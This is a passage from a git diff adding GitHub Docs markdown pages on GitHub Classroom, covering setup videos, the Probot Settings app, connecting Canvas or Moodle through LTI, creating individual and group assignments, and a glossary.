Tutorial](https://repl.it/talk/learn/Replit-Git-Tutorial/23331) on the Repl.it website. ### Further reading - "[About READMEs](/github/creating-cloning-and-archiving-repositories/about-readmes)" 33 ...anage-coursework-with-github-classroom/basics-of-setting-up-github-classroom.md @@ -0,0 +1,33 @@ --- title: Basics of setting up GitHub Classroom shortTitle: '{% data variables.product.prodname_classroom %} basics' intro: Learn how to set up your classroom, manage assignments, and configure time-saving automation. versions: free-pro-team: '*' --- ### Videos about {% data variables.product.prodname_classroom %} You can watch a series of short video tutorials about the configuration and use of {% data variables.product.prodname_classroom %}. To watch all videos as part of a continuous playlist, see the [{% data variables.product.prodname_classroom %} Getting Started Guide](https://www.youtube.com/playlist?list=PLIRjfNq867bewk3ZGV6Z7a16YDNRCpK3u) on YouTube. For more information about terminology for {% data variables.product.prodname_classroom %}, see "[Glossary](/education/manage-coursework-with-github-classroom/glossary)". 1. <a href="https://youtu.be/xVVeqIDgCvM" target="_blank">Getting started</a> {% octicon "link-external" aria-label="The external link icon" %} 2. <a href="https://youtu.be/DTzrKduaHj8" target="_blank">Adding your student roster</a> {% octicon "link-external" aria-label="The external link icon" %} 3. Creating assignments - <a href="https://youtu.be/6QzKZ63KLss" target="_blank">Creating an assignment using a {% data variables.product.prodname_dotcom %} repository</a> {% octicon "link-external" aria-label="The external link icon" %} - <a href="https://youtu.be/Qmwh6ijsQJU" target="_blank">Creating an assignment using Microsoft MakeCode as your online IDE</a> {% octicon "link-external" aria-label="The external link icon" %} - <a href="https://youtu.be/p_g5sQ7hUis" target="_blank">Creating an assignment using Repl.it as your online IDE</a> {% octicon "link-external" aria-label="The external link icon" %} 4. <a href="https://youtu.be/ObaFRGp_Eko" target="_blank">How students complete assignments</a> {% octicon "link-external" aria-label="The external link icon" %} 5. <a href="https://youtu.be/g45OJn3UyCU" target="_blank">How teachers review assignments</a> {% octicon "link-external" aria-label="The external link icon" %} 6. <a href="https://youtu.be/QxrA3taZdNM" target="_blank">Creating group assignments</a> {% octicon "link-external" aria-label="The external link icon" %} 7. <a href="https://youtu.be/tJK2cmoh1KM" target="_blank">Next steps to get started</a> {% octicon "link-external" aria-label="The external link icon" %} 8. <a href="https://youtu.be/X87v3SFQxLU" target="_blank">{% data variables.product.prodname_dotcom %} Teacher Toolbox</a> {% octicon "link-external" aria-label="The external link icon" %} ### Next steps For more information about teaching with {% data variables.product.prodname_classroom %}, see "[Teach with {% data variables.product.prodname_classroom %}](/education/manage-coursework-with-github-classroom/teach-with-github-classroom)." ### Further reading - "[Teach and learn with {% data variables.product.prodname_education %}](/education/teach-and-learn-with-github-education)" 51 ...with-github-classroom/configure-default-settings-for-assignment-repositories.md @@ -0,0 +1,51 @@ --- title: Configure default settings for assignment repositories shortTitle: Configure defaults for assignment repositories intro: You can use the Probot Settings app to configure the default settings for repositories that {% data variables.product.prodname_classroom %} creates for an assignment. permissions: Organization owners can configure default settings for assignment repositories by installing a {% data variables.product.prodname_github_app %} for the organization. versions: free-pro-team: '*' redirect_from: - /education/manage-coursework-with-github-classroom/probot-settings --- ### About configuration of defaults for assignment repositories {% data variables.product.prodname_classroom %} creates a repository that belongs for each student or team that accepts an assignment. The repository belongs to the organization that you use for {% data variables.product.prodname_classroom %}. Assignment repositories can be empty, or you can use a template repository. For more information, see "[Create an assignment from a template repository](/education/manage-coursework-with-github-classroom/create-an-assignment-from-a-template-repository)." {% data reusables.classroom.you-may-want-to-predefine-repository-settings %} With the Probot Settings app, you can create a file named _.github/settings.yml_ in a repository that contains a list of settings for the repository, and then install a {% data variables.product.prodname_github_app %} for your organization that automatically applies the settings to the repository. You can include _.github/settings.yml_ in a template repository that you use for an assignment in {% data variables.product.prodname_classroom %}. When an individual or team accepts the assignment, {% data variables.product.prodname_classroom %} creates the assignment repository, and the Settings app automatically applies the settings from _.github/settings.yml_. Probot is a a project, framework, and collection of free apps to automate {% data variables.product.product_name %}. A Probot app can listen to repository events, like the creation of new commits, comments, and issues, and automatically respond to the event. For more information, see the [Probot website](https://probot.github.io) and the [Settings app website](https://probot.github.io/apps/settings/). For more information about {% data variables.product.prodname_github_apps %}, see "[About apps](/developers/apps/about-apps)." ### Adding the Settings app to your organization After you install the Probot Settings app for your organization, the app will apply the settings that you define in _.github/settings.yml_ for any repository in your organization, including new assignment repositories that {% data variables.product.prodname_classroom %} creates. 1. Navigate to the [Settings app page](https://github.com/apps/settings). 1. Click **Install**, then click the organization that you use for {% data variables.product.prodname_classroom %}. Provide the app full access to all repositories owned by the organization. ![Installing the Probot Settings app](/assets/images/help/classroom/probot-settings.gif) ### Configuring default settings for an assignment repository 1. Create a template repository that contains a _.github/settings.yml_ file. For a complete list of settings, see the [README](https://github.com/probot/settings#github-settings) for the `probot/settings` repository. For more information about using a template repository for starter code in {% data variables.product.prodname_classroom %}, see "[Create an assignment from a template repository](/education/manage-coursework-with-github-classroom/create-an-assignment-from-a-template-repository)." {% warning %} **Warning:** Do not define `collaborators` in the _.github/settings.yml_ file for your template repository. {% data variables.product.prodname_classroom %} automatically grants teachers and teaching assistants access to assignment repositories. {% endwarning %} 1. Create an assignment using the template repository containing _.github/settings.yml_ as the starter code. {% data reusables.classroom.for-more-information-about-assignment-creation %} The Probot Settings app for your organization will now apply the settings you define in _.github/settings.yml_ within the template repository to every assignment repository that {% data reusables.classroom.you-may-want-to-predefine-repository-settings %} creates for a student or team. ### Further reading - [Probot apps](https://probot.github.io/apps/) - [Probot documentation](https://probot.github.io/docs/) 142 ...th-github-classroom/connect-a-learning-management-system-to-github-classroom.md @@ -0,0 +1,142 @@ --- title: Connect a learning management system to GitHub Classroom intro: You can configure an LTI-compliant learning management system (LMS) to connect to {% data variables.product.prodname_classroom %} so that you can import a roster for your classroom. versions: free-pro-team: '*' redirect_from: - /education/manage-coursework-with-github-classroom/configuring-a-learning-management-system-for-github-classroom - /education/manage-coursework-with-github-classroom/connect-to-lms - /education/manage-coursework-with-github-classroom/generate-lms-credentials - /education/manage-coursework-with-github-classroom/setup-canvas - /education/manage-coursework-with-github-classroom/setup-generic-lms - /education/manage-coursework-with-github-classroom/setup-moodle --- ### About configuration of your LMS You can connect a learning management system (LMS) to {% data variables.product.prodname_classroom %}, and {% data variables.product.prodname_classroom %} can import a roster of student identifiers from the LMS. To connect your LMS to {% data variables.product.prodname_classroom %}, you must enter configuration credentials for {% data variables.product.prodname_classroom %} in your LMS. ### Prerequisites To configure an LMS to connect to {% data variables.product.prodname_classroom %}, you must first create a classroom. For more information, see "[Manage classrooms](/education/manage-coursework-with-github-classroom/manage-classrooms#creating-a-classroom)." ### Supported LMSes {% data variables.product.prodname_classroom %} supports import of roster data from LMSes that implement Learning Tools Interoperability (LTI) standards. - LTI version 1.0 and/or 1.1 - LTI Names and Roles Provisioning 1.X Using LTI helps keep your information safe and secure. LTI is an industry-standard protocol and GitHub Classroom's use of LTI is certified by the Instructional Management System (IMS) Global Learning Consortium. For more information, see [Learning Tools Interoperability](https://www.imsglobal.org/activity/learning-tools-interoperability) and [About IMS Global Learning Consortium](http://www.imsglobal.org/aboutims.html) on the IMS Global Learning Consortium website. {% data variables.product.company_short %} has tested import of roster data from the following LMSes into {% data variables.product.prodname_classroom %}. - Canvas - Google Classroom - Moodle - Sakai Currently, {% data variables.product.prodname_classroom %} doesn't support import of roster data from Blackboard or Brightspace ### Generating configuration credentials for your classroom {% data reusables.classroom.sign-into-github-classroom %} {% data reusables.classroom.click-classroom-in-list %} {% data reusables.classroom.click-students %} 1. If your classroom already has a roster, you can either update the roster or delete the roster and create a new roster. - For more information about deleting and creating a roster, see "[Deleting a roster for a classroom](/education/manage-coursework-with-github-classroom/manage-classrooms#deleting-a-roster-for-a-classroom)" and "[Creating a roster for your classroom](/education/manage-coursework-with-github-classroom/manage-classrooms#creating-a-roster-for-your-classroom)." - For more information about updating a roster, see "[Adding students to the roster for your classroom](/education/manage-coursework-with-github-classroom/manage-classrooms#adding-students-to-the-roster-for-your-classroom)." 1. In the list of LMSes, click your LMS. If your LMS is not supported, click **Other LMS**. ![List of LMSes](/assets/images/help/classroom/classroom-settings-click-lms.png) 1. Read about connecting your LMS, then click **Connect to _LMS_**. 1. Copy the "Consumer Key", "Shared Secret", and "Launch URL" for the connection to the classroom. ![Copy credentials](/assets/images/help/classroom/classroom-copy-credentials.png) ### Configuring a generic LMS You must configure the privacy settings for your LMS to allow external tools to receive roster information. 1. Navigate to your LMS. 1. Configure an external tool. 1. Provide the configuration credentials you generated in {% data variables.product.prodname_classroom %}. - Consumer key - Shared secret - Launch URL (sometimes called "tool URL" or similar) ### Configuring Canvas You can configure {% data variables.product.prodname_classroom %} as an external app for Canvas to import roster data into your classroom. For more information about Canvas, see the [Canvas website](https://www.instructure.com/canvas/). 1. Sign into [Canvas](https://www.instructure.com/canvas/#login). 1. Select the Canvas course to integrate with {% data variables.product.prodname_classroom %}. 1. In the left sidebar, click **Settings**. 1. Click the **Apps** tab. 1. Click **View app configurations**. 1. Click **+App**. 1. Select the **Configuration Type** drop-down menu, and click **By URL**. 1. Paste the configuration credentials from {% data variables.product.prodname_classroom %}. For more information, see "[Generating configuration credentials for your classroom](#generating-configuration-credentials-for-your-classroom)." | Field in Canvas app configuration | Value or setting | | :- | :- | | **Consumer Key** | Consumer key from {% data variables.product.prodname_classroom %} | | **Shared Secret** | Shared secret from {% data variables.product.prodname_classroom %} | | **Allow this tool to access the IMS Names and Role Provisioning Service** | Enabled | | **Configuration URL** | Launch URL from {% data variables.product.prodname_classroom %} | {% note %} **Note**: If you don't see a checkbox in Canvas labeled "Allow this tool to access the IMS Names and Role Provisioning Service", then your Canvas administrator must contact Canvas support to enable membership service configuration for your Canvas account. Without enabling this feature, you won't be able to sync the roster from Canvas. For more information, see [How do I contact Canvas Support?](https://community.canvaslms.com/t5/Canvas-Basics-Guide/How-do-I-contact-Canvas-Support/ta-p/389767) on the Canvas website. {% endnote %} 1. Click **Submit**. 1. In the left sidebar, click **Home**. 1. To prompt Canvas to send a confirmation email, in the left sidebar, click **GitHub Classroom**. Follow the instructions in the email to finish linking {% data variables.product.prodname_classroom %}. ### Configuring Moodle You can configure {% data variables.product.prodname_classroom %} as an activity for Moodle to import roster data into your classroom. For more information about Moodle, see the [Moodle website](https://moodle.org). You must be using Moodle version 3.0 or greater. 1. Sign into [Moodle](https://moodle.org/login/index.php). 1. Select the Moodle course to integrate with {% data variables.product.prodname_classroom %}. 1. Click **Turn editing on**. 1. Wherever you'd like {% data variables.product.prodname_classroom %} to be available in Moodle, click **Add an activity or resource**. 1. Choose **External tool** and click **Add**. 1. In the "Activity name" field, type "GitHub Classroom". 1. In the **Preconfigured tool** field, to the right of the drop-down menu, click **+**. 1. Under "External tool configuration", paste the configuration credentials from {% data variables.product.prodname_classroom %}. For more information, see "[Generating configuration credentials for your classroom](#generating-configuration-credentials-for-your-classroom)." | Field in Moodle app configuration | Value or setting | | :- | :- | | **Tool name** | {% data variables.product.prodname_classroom %} - _YOUR CLASSROOM NAME_<br/><br/>**Note**: You can use any name, but we suggest this value for clarity. | | **Tool URL** | Launch URL from {% data variables.product.prodname_classroom %} | | **LTI version** | LTI 1.0/1.1 | | **Default launch container** | New window | | **Consumer key** | Consumer key from {% data variables.product.prodname_classroom %} | | **Shared secret** | Shared secret from {% data variables.product.prodname_classroom %} | 1. Scroll to and click **Services**. 1. To the right of "IMS LTI Names and Role Provisioning", select the drop-down menu and click **Use this service to retrieve members' information as per privacy settings**. 1. Scroll to and click **Privacy**. 1. To the right of **Share launcher's name with tool** and **Share launcher's email with tool**, select the drop-down menus to click **Always**. 1. At the bottom of the page, click **Save changes**. 1. In the **Preconfigure tool** menu, click **GitHub Classroom - _YOUR CLASSROOM NAME_**. 1. Under "Common module settings", to the right of "Availability", select the drop-down menu and click **Hide from students**. 1. At the bottom of the page, click **Save and return to course**. 1. Navigate to anywhere you chose to display {% data variables.product.prodname_classroom %}, and click the {% data variables.product.prodname_classroom %} activity. ### Importing a roster from your LMS For more information about importing the roster from your LMS into {% data variables.product.prodname_classroom %}, see "[Manage classrooms](/education/manage-coursework-with-github-classroom/manage-classrooms#creating-a-roster-for-your-classroom)." ### Disconnecting your LMS {% data reusables.classroom.sign-into-github-classroom %} {% data reusables.classroom.click-classroom-in-list %} {% data reusables.classroom.click-settings %} 1. Under "Connect to a learning management system (LMS)", click **Connection Settings**. !["Connection settings" link in classroom settings](/assets/images/help/classroom/classroom-settings-click-connection-settings.png) 1. Under "Delete Connection to your learning management system", click **Disconnect from your learning management system**. !["Disconnect from your learning management system" button in connection settings for classroom](/assets/images/help/classroom/classroom-settings-click-disconnect-from-your-lms-button.png) 145 .../education/manage-coursework-with-github-classroom/create-a-group-assignment.md @@ -0,0 +1,145 @@ --- title: Create a group assignment intro: 'You can create a collaborative assignment for teams of students who participate in your course.' versions: free-pro-team: '*' redirect_from: - /education/manage-coursework-with-github-classroom/create-group-assignments --- ### About group assignments {% data reusables.classroom.assignments-group-definition %} Students can work together on a group assignment in a shared repository, like a team of professional developers. When a student accepts a group assignment, the student can create a new team or join an existing team. {% data variables.product.prodname_classroom %} saves the teams for an assignment as a set. You can name the set of teams for a specific assignment when you create the assignment, and you can reuse that set of teams for a later assignment. {% data reusables.classroom.classroom-creates-group-repositories %} {% data reusables.classroom.about-assignments %} You can decide how many teams one assignment can have, and how many members each team can have. Each team that a student creates for an assignment is a team within your organization on {% data variables.product.product_name %}. The visibility of the team is secret. Teams that you create on {% data variables.product.product_name %} will not appear in {% data variables.product.prodname_classroom %}. For more information, see "[About teams](/github/setting-up-and-managing-organizations-and-teams/about-teams)." For a video demonstration of the creation of a group assignment, see "[Basics of setting up {% data variables.product.prodname_classroom %}](/education/manage-coursework-with-github-classroom/basics-of-setting-up-github-classroom)." ### Prerequisites {% data reusables.classroom.assignments-classroom-prerequisite %} ### Creating an assignment {% data reusables.classroom.assignments-guide-create-the-assignment %} ### Setting up the basics for an assignment Name your assignment, decide whether to assign a deadline, define teams, and choose the visibility of assignment repositories. - [Naming an assignment](#naming-an-assignment) - [Assigning a deadline for an assignment](#assigning-a-deadline-for-an-assignment) - [Choosing an assignment type](#choosing-an-assignment-type) - [Defining teams for an assignment](#defining-teams-for-an-assignment) - [Choosing a visibility for assignment repositories](#choosing-a-visibility-for-assignment-repositories) #### Naming an assignment For a group assignment, {% data variables.product.prodname_classroom %} names repositories by the repository prefix and the name of the team. By default, the repository prefix is the assignment title. For example, if you name an assignment "assignment-1" and the team's name on {% data variables.product.product_name %} is "student-team", the name of the assignment repository for members of the team will be `assignment-1-student-team`. {% data reusables.classroom.assignments-type-a-title %} #### Assigning a deadline for an assignment {% data reusables.classroom.assignments-guide-assign-a-deadline %} #### Choosing an assignment type Under "Individual or group assignment", select the drop-down menu, then click **Group assignment**. You can't change the assignment type after you create the assignment. If you'd rather create a individual assignment, see "[Create an individual assignment](/education/manage-coursework-with-github-classroom/create-an-individual-assignment)." #### Defining teams for an assignment If you've already created a group assignment for the classroom, you can reuse a set of teams for the new assignment. To create a new set with the teams that your students create for the assignment, type the name for the set. Optionally, type the maximum number of team members and total teams. {% tip %} **Tips**: - We recommend including details about the set of teams in the name for the set. For example, if you want to use the set of teams for one assignment, name the set after the assignment. If you want to reuse the set throughout a semester or course, name the set after the semester or course. - If you'd like to assign students to a specific team, give your students a name for the team and provide a list of members. {% endtip %} ![Parameters for the teams participating in a group assignment](/assets/images/help/classroom/assignments-define-teams.png) #### Choosing a visibility for assignment repositories {% data reusables.classroom.assignments-guide-choose-visibility %} {% data reusables.classroom.assignments-guide-click-continue-after-basics %} ### Adding starter code and configuring a development environment {% data reusables.classroom.assignments-guide-intro-for-environment %} - [Choosing a template repository](#choosing-a-template-repository) - [Choosing an online integrated development environment (IDE)](#choosing-an-online-integrated-development-environment-ide) #### Choosing a template repository By default, a new assignment will create an empty repository for each team that a student creates. {% data reusables.classroom.you-can-choose-a-template-repository %} For more information about template repositories, see "[Creating a template repository](/github/creating-cloning-and-archiving-repositories/creating-a-template-repository)." {% data reusables.classroom.assignments-guide-choose-template-repository %} #### Choosing an online integrated development environment (IDE) {% data reusables.classroom.about-online-ides %} For more information, see "[Integrate {% data variables.product.prodname_classroom %} with an IDE](/education/manage-coursework-with-github-classroom/integrate-github-classroom-with-an-ide)." {% data reusables.classroom.assignments-guide-choose-an-online-ide %} {% data reusables.classroom.assignments-guide-click-continue-after-starter-code-and-feedback %} ### Providing feedback Optionally, you can automatically grade assignments and create a space for discussing each submission with the team. - [Testing assignments automatically](#testing-assignments-automatically) - [Preventing changes to important files](#preventing-changes-to-important-files) - [Creating a pull request for feedback](#creating-a-pull-request-for-feedback) #### Testing assignments automatically {% data reusables.classroom.assignments-guide-using-autograding %} #### Preventing changes to important files {% data reusables.classroom.assignments-guide-prevent-changes %} #### Creating a pull request for feedback {% data reusables.classroom.you-can-create-a-pull-request-for-feedback %} {% data reusables.classroom.assignments-guide-create-review-pull-request %} {% data reusables.classroom.assignments-guide-click-create-assignment-button %} ### Inviting students to an assignment {% data reusables.classroom.assignments-guide-invite-students-to-assignment %} You can see the teams that are working on or have submitted an assignment in the **Teams** tab for the assignment. {% data reusables.classroom.assignments-to-prevent-submission %} <div class="procedural-image-wrapper"> <img alt="Group assignment" class="procedural-image-wrapper" src="/assets/images/help/classroom/assignment-group-hero.png"> </div> ### Next steps - After you create the assignment and your students form teams, team members can start work on the assignment using Git and {% data variables.product.product_name %}'s features. Students can clone the repository, push commits, manage branches, create and review pull requests, address merge conflicts, and discuss changes with issues. Both you and the team can review the commit history for the repository. For more information, see "[Getting started with {% data variables.product.prodname_dotcom %}](/github/getting-started-with-github)," "[Creating, cloning, and archiving repositories](/github/creating-cloning-and-archiving-repositories)," "[Using Git](/github/using-git)," and "[Collaborating with issues and pull requests](/github/collaborating-with-issues-and-pull-requests)," and the free course on [managing merge conflicts](https://lab.github.com/githubtraining/managing-merge-conflicts) from {% data variables.product.prodname_learning %}. - When a team finishes an assignment, you can review the files in the repository, or you can review the history and visualizations for the repository to better understand how the team collaborated. For more information, see "[Visualizing repository data with graphs](/github/visualizing-repository-data-with-graphs)." - You can provide feedback for an assignment by commenting on individual commits or lines in a pull request. For more information, see "[Commenting on a pull request](/github/collaborating-with-issues-and-pull-requests/commenting-on-a-pull-request)" and "[Opening an issue from code](/github/managing-your-work-on-github/opening-an-issue-from-code)." For more information about creating saved replies to provide feedback for common errors, see "[About saved replies](/github/writing-on-github/about-saved-replies)." ### Further reading - "[Use {% data variables.product.prodname_dotcom %} in your classroom and research](/education/teach-and-learn-with-github-education/use-github-in-your-classroom-and-research)" - "[Connect a learning management system to {% data variables.product.prodname_classroom %}](/education/manage-coursework-with-github-classroom/connect-a-learning-management-system-to-github-classroom)" - [Using Existing Teams in Group Assignments?](https://education.github.community/t/using-existing-teams-in-group-assignments/6999) in the {% data variables.product.prodname_education %} Community 19 ...sework-with-github-classroom/create-an-assignment-from-a-template-repository.md @@ -0,0 +1,19 @@ --- title: Create an assignment from a template repository intro: You can create an assignment from a template repository to provide starter code, documentation, and other resources to your students. versions: free-pro-team: '*' redirect_from: - /education/manage-coursework-with-github-classroom/using-template-repos-for-assignments --- You can use a template repository on {% data variables.product.product_name %} as starter code for an assignment on {% data variables.product.prodname_classroom %}. Your template repository can contain boilerplate code, documentation, and other resources for your students. For more information, see "[Creating a template repository](/github/creating-cloning-and-archiving-repositories/creating-a-template-repository)." To use the template repository for your assignment, the template repository must be owned by your organization, or the visibility of the template repository must be public. {% data reusables.classroom.you-may-want-to-predefine-repository-settings %} For more information, see "[Configure default settings for assignment repositories](/education/manage-coursework-with-github-classroom/configure-default-settings-for-assignment-repositories)." ### Further reading - "[Create an individual assignment](/education/manage-coursework-with-github-classroom/create-an-individual-assignment)" - "[Create a group assignment](/education/manage-coursework-with-github-classroom/create-a-group-assignment)" 124 ...tion/manage-coursework-with-github-classroom/create-an-individual-assignment.md @@ -0,0 +1,124 @@ --- title: Create an individual assignment intro: You can create an assignment for students in your course to complete individually. versions: free-pro-team: '*' redirect_from: - /education/manage-coursework-with-github-classroom/creating-an-individual-assignment - /education/manage-coursework-with-github-classroom/create-an-individual-assignment --- ### About individual assignments {% data reusables.classroom.assignments-individual-definition %} {% data reusables.classroom.classroom-creates-individual-repositories %} {% data reusables.classroom.about-assignments %} For a video demonstration of the creation of an individual assignment, see "[Basics of setting up {% data variables.product.prodname_classroom %}](/education/manage-coursework-with-github-classroom/basics-of-setting-up-github-classroom)." ### Prerequisites {% data reusables.classroom.assignments-classroom-prerequisite %} ### Creating an assignment {% data reusables.classroom.assignments-guide-create-the-assignment %} ### Setting up the basics for an assignment Name your assignment, decide whether to assign a deadline, and choose the visibility of assignment repositories. - [Naming an assignment](#naming-an-assignment) - [Assigning a deadline for an assignment](#assigning-a-deadline-for-an-assignment) - [Choosing an assignment type](#choosing-an-assignment-type) - [Choosing a visibility for assignment repositories](#choosing-a-visibility-for-assignment-repositories) #### Naming an assignment For an individual assignment, {% data variables.product.prodname_classroom %} names repositories by the repository prefix and the student's {% data variables.product.product_name %} username. By default, the repository prefix is the assignment title. For example, if you name an assignment "assignment-1" and the student's username on {% data variables.product.product_name %} is @octocat, the name of the assignment repository for @octocat will be `assignment-1-octocat`. {% data reusables.classroom.assignments-type-a-title %} #### Assigning a deadline for an assignment {% data reusables.classroom.assignments-guide-assign-a-deadline %} #### Choosing an assignment type Under "Individual or group assignment", select the drop-down menu, and click **Individual assignment**. You can't change the assignment type after you create the assignment. If you'd rather create a group assignment, see "[Create a group assignment](/education/manage-coursework-with-github-classroom/create-a-group-assignment)." #### Choosing a visibility for assignment repositories {% data reusables.classroom.assignments-guide-choose-visibility %} {% data reusables.classroom.assignments-guide-click-continue-after-basics %} ### Adding starter code and configuring a development environment {% data reusables.classroom.assignments-guide-intro-for-environment %} - [Choosing a template repository](#choosing-a-template-repository) - [Choosing an online integrated development environment (IDE)](#choosing-an-online-integrated-development-environment-ide) #### Choosing a template repository By default, a new assignment will create an empty repository for each student on the roster for the classroom. {% data reusables.classroom.you-can-choose-a-template-repository %} For more information about template repositories, see "[Creating a template repository](/github/creating-cloning-and-archiving-repositories/creating-a-template-repository)." {% data reusables.classroom.assignments-guide-choose-template-repository %} {% data reusables.classroom.assignments-guide-click-continue-after-starter-code-and-feedback %} #### Choosing an online integrated development environment (IDE) {% data reusables.classroom.about-online-ides %} For more information, see "[Integrate {% data variables.product.prodname_classroom %} with an IDE](/education/manage-coursework-with-github-classroom/integrate-github-classroom-with-an-ide)." {% data reusables.classroom.assignments-guide-choose-an-online-ide %} ### Providing feedback for an assignment Optionally, you can automatically grade assignments and create a space for discussing each submission with the student. - [Testing assignments automatically](#testing-assignments-automatically) - [Preventing changes to important files](#preventing-changes-to-important-files) - [Creating a pull request for feedback](#creating-a-pull-request-for-feedback) #### Testing assignments automatically {% data reusables.classroom.assignments-guide-using-autograding %} #### Preventing changes to important files {% data reusables.classroom.assignments-guide-prevent-changes %} #### Creating a pull request for feedback {% data reusables.classroom.you-can-create-a-pull-request-for-feedback %} {% data reusables.classroom.assignments-guide-create-review-pull-request %} {% data reusables.classroom.assignments-guide-click-create-assignment-button %} ### Inviting students to an assignment {% data reusables.classroom.assignments-guide-invite-students-to-assignment %} You can see whether a student has joined the classroom and accepted or submitted an assignment in the **All students** tab for the assignment. {% data reusables.classroom.assignments-to-prevent-submission %} <div class="procedural-image-wrapper"> <img alt="Individual assignment" class="procedural-image-wrapper" src="/assets/images/help/classroom/assignment-individual-hero.png"> </div> ### Next steps - Once you create the assignment, students can start work on the assignment using Git and {% data variables.product.product_name %}'s features. Students can clone the repository, push commits, manage branches, create and review pull requests, address merge conflicts, and discuss changes with issues. Both you and student can review the commit history for the repository. For more information, see "[Getting started with {% data variables.product.prodname_dotcom %}](/github/getting-started-with-github)," "[Creating, cloning, and archiving repositories](/github/creating-cloning-and-archiving-repositories)," "[Using Git](/github/using-git)," and "[Collaborating with issues and pull requests](/github/collaborating-with-issues-and-pull-requests)." - When a student finishes an assignment, you can review the files in the repository, or you can review the history and visualizations for the repository to better understand the student's work. For more information, see "[Visualizing repository data with graphs](/github/visualizing-repository-data-with-graphs)." - You can provide feedback for an assignment by commenting on individual commits or lines in a pull request. For more information, see "[Commenting on a pull request](/github/collaborating-with-issues-and-pull-requests/commenting-on-a-pull-request)" and "[Opening an issue from code](/github/managing-your-work-on-github/opening-an-issue-from-code)." For more information about creating saved replies to provide feedback for common errors, see "[About saved replies](/github/writing-on-github/about-saved-replies)." ### Further reading - "[Use {% data variables.product.prodname_dotcom %} in your classroom and research](/education/teach-and-learn-with-github-education/use-github-in-your-classroom-and-research)" - "[Connect a learning management system to {% data variables.product.prodname_classroom %}](/education/manage-coursework-with-github-classroom/connect-a-learning-management-system-to-github-classroom)" 9 ...on/manage-coursework-with-github-classroom/get-started-with-github-classroom.md @@ -0,0 +1,9 @@ --- title: Get started with GitHub Classroom shortTitle: Get started intro: Learn how to configure and use {% data variables.product.prodname_classroom %} to administer your course. mapTopic: true versions: free-pro-team: '*' --- 52 content/education/manage-coursework-with-github-classroom/glossary.md @@ -0,0 +1,52 @@ --- title: Glossary intro: You can review explanations of terminology for {% data variables.product.prodname_classroom %}. versions: free-pro-team: '*' --- ### assignment An assignment is coursework in {% data variables.product.prodname_classroom %}. A teacher can assign an assignment to an individual student or a group of students. Teachers can import starter code for the assignment, assign students, and create a deadline for each assignment. For more information, see the definitions for "[individual assignment](#individual-assignment)" and "[group assignment](#group-assignment)." --- ### classroom A classroom is the basic unit of {% data variables.product.prodname_classroom %}. Teachers can use a classroom to organize and manage students, teaching assistants, and assignments for a single course. A classroom belongs to an organization on {% data variables.product.prodname_dotcom_the_website %}. To administer a classroom, you must be an organization owner for the organization on {% data variables.product.prodname_dotcom %}. For more information, see "[Manage classrooms](/education/manage-coursework-with-github-classroom/manage-classrooms)." --- ### {% data variables.product.prodname_classroom %} {% data variables.product.prodname_classroom %} is a web application for educators that provides course administration tools integrated with {% data variables.product.prodname_dotcom %}. For more information, see the [{% data variables.product.prodname_classroom %}](https://classroom.github.com/) website. --- ### group assignment {% data reusables.classroom.assignments-group-definition %} For more information, see "[Create a group assignment](/education/manage-coursework-with-github-classroom/create-a-group-assignment)." --- ### identifier An identifier in {% data variables.product.prodname_classroom %} is a unique ID for a student participating in a course. For example, an identifier can be a student name, alphanumeric ID, or email address. --- ### individual assignment {% data reusables.classroom.assignments-individual-definition %} For more information, see "[Create an individual assignment](/education/manage-coursework-with-github-classroom/create-an-individual-assignment)." --- ### roster A roster allows a teacher to manage students and assignment submissions in a classroom on {% data variables.product.prodname_classroom %}. Teachers can create a roster by entering a list of student identifiers, or by connecting {% data variables.product.prodname_classroom %} to a learning management system (LMS). For more information about identifiers, see the definition of "[identifier](#identifier)." For more information about connecting {% data variables.product.prodname_classroom %} to an LMS, see "[Connect a learning management system to {% data variables.product.prodname_classroom %}](/education/manage-coursework-with-github-classroom/connect-a-learning-management-system-to-github-classroom)." --- ### Further reading - "[{% data variables.product.prodname_dotcom %} glossary](/github/getting-started-with-github/github-glossary)" 32 content/education/manage-coursework-with-github-classroom/index.md @@ -0,0 +1,32 @@ --- title: Manage coursework with GitHub Classroom shortTitle: '{% data variables.product.prodname_classroom %}' intro: With {% data variables.product.prodname_classroom %}, you can use {% data variables.product.product_name %} to administer or participate in a course about software development. versions: free-pro-team: '*' --- ### Table of Contents {% topic_link_in_list /get-started-with-github-classroom %} {% link_in_list /basics-of-setting-up-github-classroom %} {% link_in_list /glossary %} {% topic_link_in_list /teach-with-github-classroom %} {% link_in_list /manage-classrooms %} {% link_in_list /create-an-individual-assignment %} {% link_in_list /create-a-group-assignment %} {% link_in_list /create-an-assignment-from-a-template-repository %} {% link_in_list /leave-feedback-with-pull-requests %} {% link_in_list /use-autograding %} {% link_in_list /configure-default-settings-for-assignment-repositories %} {% link_in_list /connect-a-learning-management-system-to-github-classroom %} {% topic_link_in_list /integrate-github-classroom-with-an-ide %} {% link_in_list /integrate-github-classroom-with-an-online-ide %} {% link_in_list /about-using-makecode-arcade-with-github-classroom %} {% link_in_list /about-using-replit-with-github-classroom %} {% link_in_list /run-student-code-in-an-online-ide %} {% topic_link_in_list /learn-with-github-classroom %} {% link_in_list /view-autograding-results %} 8 ...nage-coursework-with-github-classroom/integrate-github-classroom-with-an-ide.md @@ -0,0 +1,8 @@ --- title: Integrate GitHub Classroom with an IDE shortTitle: Integrate with an IDE intro: You can help your students write, test, and debug code by preconfiguring a development environment for assignment repositories on {% data variables.product.prodname_classroom %}. mapTopic: true versions: free-pro-team: '*' --- 42 ...ursework-with-github-classroom/integrate-github-classroom-with-an-online-ide.md @@ -0,0 +1,42 @@ --- title: Integrate GitHub Classroom with an online IDE shortTitle: Integrate with an online IDE intro: You can preconfigure a supported online integrated development environment (IDE) for assignments you create in {% data variables.product.prodname_classroom %}. versions: free-pro-team: '*' redirect_from: - /education/manage-coursework-with-github-classroom/online-ide-integrations --- ### About integration with an online IDE {% data reusables.classroom.about-online-ides %} After a student accepts an assignment with an online IDE, the README file in the student's assignment repository will contain a button to open the assignment in the IDE. The student can begin working immediately, and no additional configuration is necessary. ![Button for online IDE in README.md for assignment repository](/assets/images/help/classroom/assignment-repository-ide-button-in-readme.png) ### Supported online IDEs {% data variables.product.prodname_classroom %} supports the following online IDEs. You can learn more about the student experience for each IDE. | IDE | More information | | :- | :- | | Microsoft MakeCode Arcade | "[About using MakeCode Arcade with {% data variables.product.prodname_classroom %}](/education/manage-coursework-with-github-classroom/about-using-makecode-arcade-with-github-classroom)" | | Repl.it | "[About using Repl.it with GitHub Classroom](/education/manage-coursework-with-github-classroom/about-using-replit-with-github-classroom)" | ### Configuring an online IDE for an assignment You can choose the online IDE you'd like to use 